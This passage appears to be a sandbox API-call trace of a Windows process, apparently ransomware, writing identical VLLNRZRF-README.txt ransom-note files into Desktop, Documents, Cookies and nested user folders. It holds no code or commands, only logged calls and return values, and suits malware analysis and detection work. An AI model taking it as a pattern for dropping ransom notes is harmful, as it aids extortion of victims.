dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x4a0 [0084.996] GetFileType (hFile=0x4a0) returned 0x1 [0084.998] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2e8c0) returned 1 [0084.999] GetFileType (hFile=0x4a0) returned 0x1 [0084.999] SetFilePointer (in: hFile=0x4a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ca2e938*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ca2e938*=0) returned 0x0 [0085.003] WriteFile (in: hFile=0x4a0, lpBuffer=0x21fe1b0*, nNumberOfBytesToWrite=0x5f3, lpNumberOfBytesWritten=0x1ca2ea98, lpOverlapped=0x0 | out: lpBuffer=0x21fe1b0*, lpNumberOfBytesWritten=0x1ca2ea98*=0x5f3, lpOverlapped=0x0) returned 1 [0085.015] CloseHandle (hObject=0x4a0) returned 1 [0086.089] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x39 [0086.089] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2eb20) returned 1 [0086.089] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\cookies\\vllnrzrf-readme.txt"), fInfoLevelId=0x0, lpFileInformation=0x1ca2ec00 | out: lpFileInformation=0x1ca2ec00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0086.089] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2eae0) returned 1 [0086.089] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x39 [0086.089] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e950) returned 1 [0086.089] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\cookies\\vllnrzrf-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x440 [0086.091] GetFileType (hFile=0x440) returned 0x1 [0086.091] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2e8c0) returned 1 [0086.091] GetFileType (hFile=0x440) returned 0x1 [0086.091] SetFilePointer (in: hFile=0x440, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ca2e938*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ca2e938*=0) returned 0x0 [0086.091] WriteFile (in: hFile=0x440, lpBuffer=0x2262e28*, nNumberOfBytesToWrite=0x5f3, lpNumberOfBytesWritten=0x1ca2ea98, lpOverlapped=0x0 | out: lpBuffer=0x2262e28*, lpNumberOfBytesWritten=0x1ca2ea98*=0x5f3, lpOverlapped=0x0) returned 1 [0086.092] CloseHandle (hObject=0x440) returned 1 [0086.123] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x39 [0086.123] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2eb20) returned 1 [0086.123] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vllnrzrf-readme.txt"), fInfoLevelId=0x0, lpFileInformation=0x1ca2ec00 | out: lpFileInformation=0x1ca2ec00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0086.123] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2eae0) returned 1 [0086.123] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x39 [0086.123] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e950) returned 1 [0086.123] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vllnrzrf-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x45c [0086.125] GetFileType (hFile=0x45c) returned 0x1 [0086.125] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2e8c0) returned 1 [0086.125] GetFileType (hFile=0x45c) returned 0x1 [0086.125] SetFilePointer (in: hFile=0x45c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ca2e938*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ca2e938*=0) returned 0x0 [0086.126] WriteFile (in: hFile=0x45c, lpBuffer=0x22c1d20*, nNumberOfBytesToWrite=0x5f3, lpNumberOfBytesWritten=0x1ca2ea98, lpOverlapped=0x0 | out: lpBuffer=0x22c1d20*, lpNumberOfBytesWritten=0x1ca2ea98*=0x5f3, lpOverlapped=0x0) returned 1 [0086.127] CloseHandle (hObject=0x45c) returned 1 [0087.394] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x3f [0087.394] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2eb20) returned 1 [0087.394] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\efcsb\\vllnrzrf-readme.txt"), fInfoLevelId=0x0, lpFileInformation=0x1ca2ec00 | out: lpFileInformation=0x1ca2ec00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0087.394] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2eae0) returned 1 [0087.394] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x3f [0087.394] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e950) returned 1 [0087.394] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\efcsb\\vllnrzrf-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x434 [0087.395] GetFileType (hFile=0x434) returned 0x1 [0087.395] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2e8c0) returned 1 [0087.395] GetFileType (hFile=0x434) returned 0x1 [0087.395] SetFilePointer (in: hFile=0x434, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ca2e938*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ca2e938*=0) returned 0x0 [0087.396] WriteFile (in: hFile=0x434, lpBuffer=0x2279528*, nNumberOfBytesToWrite=0x5f3, lpNumberOfBytesWritten=0x1ca2ea98, lpOverlapped=0x0 | out: lpBuffer=0x2279528*, lpNumberOfBytesWritten=0x1ca2ea98*=0x5f3, lpOverlapped=0x0) returned 1 [0087.397] CloseHandle (hObject=0x434) returned 1 [0088.876] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x45 [0088.876] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2eb20) returned 1 [0088.876] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\efcsb\\7lqmm\\vllnrzrf-readme.txt"), fInfoLevelId=0x0, lpFileInformation=0x1ca2ec00 | out: lpFileInformation=0x1ca2ec00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0088.876] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2eae0) returned 1 [0088.876] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x45 [0088.876] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e950) returned 1 [0088.876] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\efcsb\\7lqmm\\vllnrzrf-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x44c [0088.877] GetFileType (hFile=0x44c) returned 0x1 [0088.877] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2e8c0) returned 1 [0088.877] GetFileType (hFile=0x44c) returned 0x1 [0088.877] SetFilePointer (in: hFile=0x44c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ca2e938*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ca2e938*=0) returned 0x0 [0088.877] WriteFile (in: hFile=0x44c, lpBuffer=0x23cf568*, nNumberOfBytesToWrite=0x5f3, lpNumberOfBytesWritten=0x1ca2ea98, lpOverlapped=0x0 | out: lpBuffer=0x23cf568*, lpNumberOfBytesWritten=0x1ca2ea98*=0x5f3, lpOverlapped=0x0) returned 1 [0088.879] CloseHandle (hObject=0x44c) returned 1 [0089.651] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x46 [0089.651] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2eb20) returned 1 [0089.651] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\efcsb\\zgqpfl\\vllnrzrf-readme.txt"), fInfoLevelId=0x0, lpFileInformation=0x1ca2ec00 | out: lpFileInformation=0x1ca2ec00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0089.652] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2eae0) returned 1 [0089.652] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x46 [0089.652] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e950) returned 1 [0089.652] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\efcsb\\zgqpfl\\vllnrzrf-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x468 [0089.652] GetFileType (hFile=0x468) returned 0x1 [0089.652] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2e8c0) returned 1 [0089.652] GetFileType (hFile=0x468) returned 0x1 [0089.652] SetFilePointer (in: hFile=0x468, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ca2e938*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ca2e938*=0) returned 0x0 [0089.653] WriteFile (in: hFile=0x468, lpBuffer=0x23de228*, nNumberOfBytesToWrite=0x5f3, lpNumberOfBytesWritten=0x1ca2ea98, lpOverlapped=0x0 | out: lpBuffer=0x23de228*, lpNumberOfBytesWritten=0x1ca2ea98*=0x5f3, lpOverlapped=0x0) returned 1 [0089.654] CloseHandle (hObject=0x468) returned 1 [0093.678] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mta0O BJjST2m\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mta0O BJjST2m\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x47 [0093.678] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2eb20) returned 1 [0093.679] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mta0O BJjST2m\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mta0o bjjst2m\\vllnrzrf-readme.txt"), fInfoLevelId=0x0, lpFileInformation=0x1ca2ec00 | out: lpFileInformation=0x1ca2ec00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0093.745] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2eae0) returned 1 [0093.745] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mta0O BJjST2m\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mta0O BJjST2m\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x47 [0093.745] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e950) returned 1 [0093.745] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mta0O BJjST2m\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mta0o bjjst2m\\vllnrzrf-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x438 [0093.745] GetFileType (hFile=0x438) returned 0x1 [0093.746] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2e8c0) returned 1 [0093.746] GetFileType (hFile=0x438) returned 0x1 [0093.746] SetFilePointer (in: hFile=0x438, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ca2e938*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ca2e938*=0) returned 0x0 [0093.746] WriteFile (in: hFile=0x438, lpBuffer=0x22e4258*, nNumberOfBytesToWrite=0x5f3, lpNumberOfBytesWritten=0x1ca2ea98, lpOverlapped=0x0 | out: lpBuffer=0x22e4258*, lpNumberOfBytesWritten=0x1ca2ea98*=0x5f3, lpOverlapped=0x0) returned 1 [0093.747] CloseHandle (hObject=0x438) returned 1 [0093.837] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x3b [0093.837] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2eb20) returned 1 [0093.837] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\vllnrzrf-readme.txt"), fInfoLevelId=0x0, lpFileInformation=0x1ca2ec00 | out: lpFileInformation=0x1ca2ec00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0093.837] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2eae0) returned 1 [0093.837] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x3b [0093.837] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e950) returned 1 [0093.837] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\vllnrzrf-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x428 [0093.838] GetFileType (hFile=0x428) returned 0x1 [0093.838] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2e8c0) returned 1 [0093.838] GetFileType (hFile=0x428) returned 0x1 [0093.838] SetFilePointer (in: hFile=0x428, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ca2e938*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ca2e938*=0) returned 0x0 [0093.839] WriteFile (in: hFile=0x428, lpBuffer=0x239ab90*, nNumberOfBytesToWrite=0x5f3, lpNumberOfBytesWritten=0x1ca2ea98, lpOverlapped=0x0 | out: lpBuffer=0x239ab90*, lpNumberOfBytesWritten=0x1ca2ea98*=0x5f3, lpOverlapped=0x0) returned 1 [0093.839] CloseHandle (hObject=0x428) returned 1 [0099.067] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x41 [0099.067] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2eb20) returned 1 [0099.067] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ax3gn\\vllnrzrf-readme.txt"), fInfoLevelId=0x0, lpFileInformation=0x1ca2ec00 | out: lpFileInformation=0x1ca2ec00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0099.119] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2eae0) returned 1 [0099.120] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x41 [0099.120] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e950) returned 1 [0099.120] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ax3gn\\vllnrzrf-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x434 [0099.121] GetFileType (hFile=0x434) returned 0x1 [0099.121] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2e8c0) returned 1 [0099.121] GetFileType (hFile=0x434) returned 0x1 [0099.121] SetFilePointer (in: hFile=0x434, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ca2e938*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ca2e938*=0) returned 0x0 [0099.121] WriteFile (in: hFile=0x434, lpBuffer=0x236cbb8*, nNumberOfBytesToWrite=0x5f3, lpNumberOfBytesWritten=0x1ca2ea98, lpOverlapped=0x0 | out: lpBuffer=0x236cbb8*, lpNumberOfBytesWritten=0x1ca2ea98*=0x5f3, lpOverlapped=0x0) returned 1 [0099.123] CloseHandle (hObject=0x434) returned 1 [0099.195] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x47 [0099.195] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2eb20) returned 1 [0099.195] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ax3gn\\_qlek\\vllnrzrf-readme.txt"), fInfoLevelId=0x0, lpFileInformation=0x1ca2ec00 | out: lpFileInformation=0x1ca2ec00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0099.197] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2eae0) returned 1 [0099.197] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x47 [0099.197] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e950) returned 1 [0099.197] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ax3gn\\_qlek\\vllnrzrf-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x41c [0099.197] GetFileType (hFile=0x41c) returned 0x1 [0099.197] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2e8c0) returned 1 [0099.197] GetFileType (hFile=0x41c) returned 0x1 [0099.197] SetFilePointer (in: hFile=0x41c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ca2e938*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ca2e938*=0) returned 0x0 [0099.198] WriteFile (in: hFile=0x41c, lpBuffer=0x23dbd90*, nNumberOfBytesToWrite=0x5f3, lpNumberOfBytesWritten=0x1ca2ea98, lpOverlapped=0x0 | out: lpBuffer=0x23dbd90*, lpNumberOfBytesWritten=0x1ca2ea98*=0x5f3, lpOverlapped=0x0) returned 1 [0099.199] CloseHandle (hObject=0x41c) returned 1 [0099.293] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x44 [0099.294] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2eb20) returned 1 [0099.294] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my music\\vllnrzrf-readme.txt"), fInfoLevelId=0x0, lpFileInformation=0x1ca2ec00 | out: lpFileInformation=0x1ca2ec00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, 